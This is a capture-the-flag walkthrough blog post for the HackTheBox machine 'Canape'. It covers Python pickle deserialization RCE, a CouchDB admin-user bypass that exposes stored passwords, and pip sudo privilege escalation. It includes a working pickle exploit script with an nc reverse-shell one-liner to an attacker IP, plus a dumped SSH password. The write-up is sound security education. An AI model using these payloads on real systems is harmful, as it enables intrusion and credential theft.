Hey pentesters! In this post blog post, I am gonna walk you through canape that is a medium linux machine from hackthebox.
Summary
The initial foothold on the box is based on python pickle injection that leads to remote code execution. Privilege escalation to user exploits a vulnerability in couchdb that can be leveraged to create a dummy user with _admin role. Lastly, privilege escalation to root exploits the sudo privileges on /usr/bin/pip
It was a fun box to pwn. So without any further ado, lets get started!
Starting with nmap scan, I found http open. Interestingly the presence of .git was reflected as part f the scan.
⚡ root@kali ~/Desktop/htb/canape master nmap -sC -sV 10.10.10.70 -o canape.nmap Starting Nmap 7.70 ( https://nmap.org ) at 2020-06-24 00:04 IST Nmap scan report for 10.10.10.70 Host is up (0.26s latency). Not shown: 999 filtered ports PORT STATE SERVICE VERSION 80/tcp open http Apache httpd 2.4.18 ((Ubuntu)) | http-git: | 10.10.10.70:80/.git/ | Git repository found! | Repository description: Unnamed repository; edit this file 'description' to name the... | Last commit message: final # Please enter the commit message for your changes. Li... | Remotes: |_ http://git.canape.htb/simpsons.git |_http-server-header: Apache/2.4.18 (Ubuntu) |_http-title: Simpsons Fan Site |_http-trane-info: Problem with XML parsing of /evox/about Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 30.49 seconds
So i quickly went through the url, http://10.10.10.70.
The title was simpson’s fan site. Clicking through buttons, I found a few more pages that didnt lead to interesting results.
Alongside manual enumeration, I spawned up a gobuster scan but that too didnt returned anything interesting! But there was .git present, as obtained from nmap scans. So i looked upon HTTP://10.10.10.70/.git and found the default directory structure.
/config was a good starting point. Following were its contents:
There was an url to a git repo. Analysing a git repo is essential as it can lead to exposure of sensitive information.
Following is the screenshot of the logs.
Under the page source of http://10.10.10.70, I found this comment. It listed an endpoint /check
But, http://10.10.10.70/check didnt seemed to work. Below is the request-response captured on the burp.
Next, I cloned the git repo using
# git clone http://git.canape.htb/simpsons.git
But before that, make an entry to /etc/hosts specifying git.canape.htb as one of the virtual hosts.
While analysing the logs, I found the one below that mentioned about the check functionality that didnt seemed to work earlier.
So I performed a git diff over that commit.
# git diff c8a74a098a60aaea1af98945bd707a7eab0ff4b0
Looking at the code and its different endpoints like check, submit, one interesting thing to note was that it was using pickle module of python for serialization-deserialization.
And according to the official documentation of the module, any untrusted data by the user if deserialized can lead to remote code execution.
For more information on insecure deserialization, visit here.
import couchdb import string import random import base64 import cPickle from flask import Flask, render_template, request from hashlib import md5 app = Flask(__name__) app.config.update( DATABASE = "simpsons" ) db = couchdb.Server("http://localhost:5984/")[app.config["DATABASE"]] @app.errorhandler(404) def page_not_found(e): if random.randrange(0, 2) > 0: return ''.join(random.choice(string.ascii_uppercase + string.digits) for _ in range(random.randrange(50, 250))) else: return render_template("index.html") @app.route("/") def index(): return render_template("index.html") @app.route("/quotes") def quotes(): quotes = [] for id in db: quotes.append({"title": db[id]["character"], "text": db[id]["quote"]}) return render_template('quotes.html', entries=quotes) WHITELIST = [ "homer", "marge", "bart", "lisa", "maggie", "moe", "carl", "krusty" ] @app.route("/submit", methods=["GET", "POST"]) def submit(): error = None success = None if request.method == "POST": try: char = request.form["character"] quote = request.form["quote"] if not char or not quote: error = True elif not any(c.lower() in char.lower() for c in WHITELIST): error = True else: # TODO - Pickle into dictionary instead, `check` is ready p_id = md5(char + quote).hexdigest() outfile = open("/tmp/" + p_id + ".p", "wb") outfile.write(char + quote) outfile.close() success = True except Exception as ex: error = True return render_template("submit.html", error=error, success=success) @app.route("/check", methods=["POST"]) def check(): path = "/tmp/" + request.form["id"] + ".p" data = open(path, "rb").read() if "p1" in data: item = cPickle.loads(data) else: item = data return "Still reviewing: " + item if __name__ == "__main__": app.run()
So this code basically depicts the functionality of all the buttons that were present on http://10.10.10.70.
According to the code, the untrusted data gets submitted by the user using the submit functionality on http://10.10.10.70/submit where the user can submit the quotes. But there is a condition. There are a few whitelisted names like homer, marge, bart. Only these can be the value of the field: character. Well, the character name won’t create any problem for us.
The data that was submitted in /submit is checked inside http://10.10.10.70/check . cPickle.loads() method is used that is used to deserialize the data that was kept in the file. From the method declaration, Its clear that /check uses POST as request method along with some post parameter that are required to sent along with the request. Here its “id”.
Exploit
- We will submit serialized data in /submit. The data is basically our reverse shell.
- After submission we get an id
- That id has to be posted inside the id parameter of /check.
- /check deserializes the malicious quote that we sent and gives us command execution.
For this, a python script can be made that will automate the whole process.
import pickle as pk
from hashlib import md5
import requests
import os
class MyExploit(object):
def __reduce__(self):
cmd = 'echo homer!;rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.7 8001 >/tmp/f'
return (os.system, (cmd,))
sc = pk.dumps(MyExploit())
print sc
char, quote = sc.split("!")
p_id = md5(char+ quote).hexdigest()
requests.post("http://10.10.10.70/submit", data={'character':char, 'quote':quote})
requests.post("http://10.10.10.70/check", data={'id':p_id})
So as the python pickle exploit runs, we get a shell on the port on which we were listening with netcat.
Getting user on the box
I started enumeration with LinEnum.sh. Under the heading listening TCP, there was a port, 5984 listening on localhost.
Tip: Always check for the default services that runs on the port specified. These are the services running on the internal network that can be used for further privilege escalation.
I checked over on internet and the service running was couchdb. It was predictable as couchdb module was imported in __init__.py in the git repo.
We can communicate with couchdb server with curl command.
# curl http://127.0.0.1:5984/
To find all the databases use,
# curl -X GET http://127.0.0.1/_all_dbs
www-data@canape:/$ curl -X GET http://127.0.0.1:5984/_users curl -X GET http://127.0.0.1:5984/_users {"db_name":"_users","update_seq":"9-g1AAAAFTeJzLYWBg4MhgTmEQTM4vTc5ISXLIyU9OzMnILy7JAUoxJTIkyf___z8rkQGPoiQFIJlkD1aHz7AkB5C6eLA6RnzqEkDq6gnam8cCJBkagBRQ6Xxi1C6AqN1PjNoDELX3iVH7AKIW5N4sAN1Nbzc","sizes":{"file":70895,"external":2085,"active":4111},"purge_seq":0,"other":{"data_size":2085},"doc_del_count":1,"doc_count":1,"disk_size":70895,"disk_format_version":6,"data_size":4111,"compact_running":false,"instance_start_time":"0"}
I checked all the databases, but found nthing interesting. But when i tried to accessed the contents of passwords database, I got this error.
That was because I didnt had any username or password.
I performed a searchsploit on couchdb and got a lot of results.
The last one with remote code execution seemed promising so I copied the exploit from local machine to the victim using curl.
Vulnerability
The problem is that there is a discrepancy between the Javascript JSON parser (used in validation scripts) and the one used internally by CouchDB (no-sql database), called jiffy. Check out how each one deals with duplicate keys on an object like {“foo”:”bat”, “foo”:”bas”}:
Erlang (couchdb is written in this language):
> jiffy:decode(“{\”foo\”:\”bat\”, \”foo\”:\”bas\”}”).
{[{<<"foo">>,<<"bat">>},{<<"foo">>,<<"bas">>}]}
Javascript:
> JSON.parse(“{\”foo\”:\”bat\”, \”foo\”: \”bas\”}”)
{foo: “bas”}
The json parser will only store the last value, but the getter function for CouchDB’s internal representation of the data will only return the first value.
That can be bypassed and a new user can be created with _admin role who will have full control over the database.For more details visit here
Upon execution, it printed that user guest with password guest has been created with _admin role. So now we can view the contents of passwords database.
www-data@canape:/tmp$ curl -X GET http://guest:guest@127.0.0.1/passwords/_all_docs curl -X GET http://guest:guest@127.0.0.1/passwords/_all_docs {"total_rows":4,"offset":0,"rows":[ {"id":"739c5ebdf3f7a001bebb8fc4380019e4","key":"739c5ebdf3f7a001bebb8fc4380019e4","value":{"rev":"2-81cf17b971d9229c54be92eeee723296"}}, {"id":"739c5ebdf3f7a001bebb8fc43800368d","key":"739c5ebdf3f7a001bebb8fc43800368d","value":{"rev":"2-43f8db6aa3b51643c9a0e21cacd92c6e"}}, {"id":"739c5ebdf3f7a001bebb8fc438003e5f","key":"739c5ebdf3f7a001bebb8fc438003e5f","value":{"rev":"1-77cd0af093b96943ecb42c2e5358fe61"}}, {"id":"739c5ebdf3f7a001bebb8fc438004738","key":"739c5ebdf3f7a001bebb8fc438004738","value":{"rev":"1-49a20010e64044ee7571b8c1b902cf8c"}} ]}
Now we will query the server with the id parameter
www-data@canape:/tmp$ curl -X GET http://guest:guest@127.0.0.1/passwords/739c5ebdf3f7a001bebb8fc4380019e4 {"_id":"739c5ebdf3f7a001bebb8fc4380019e4","_rev":"2-81cf17b971d9229c54be92eeee723296","item":"ssh","password":"0B4jyA0xtytZi7esBNGp","user":""}
The user is null here. But we can try the password for the user- homer that exists on the box.
And it worked!!! User Pwned.
Upon enumeration with LinEnum.sh, I found that sudo was present on the box. So the very first thing to test is if there are any sudo privileges on the box?
Check with
# sudo -l
Homer can run /usr/bin/pip install with root privileges. I searched for privilege escalation with pip and found a link to https://gtfobins.github.io/gtfobins/pip/
Steps in exploitation
- A temporary directory is created with mktemp -d and is stored in variable TF
- Now we insert our shell code(that will be running as root) in a file inside the temporary directory with name setup.py
- When we pip install that directory with, the python payload gets executed as root and we get a shell.
Thats all for the blog post. Hope you enjoyed reading it. For much content on infosec subscribe to my page.
Until then, happy hunting!!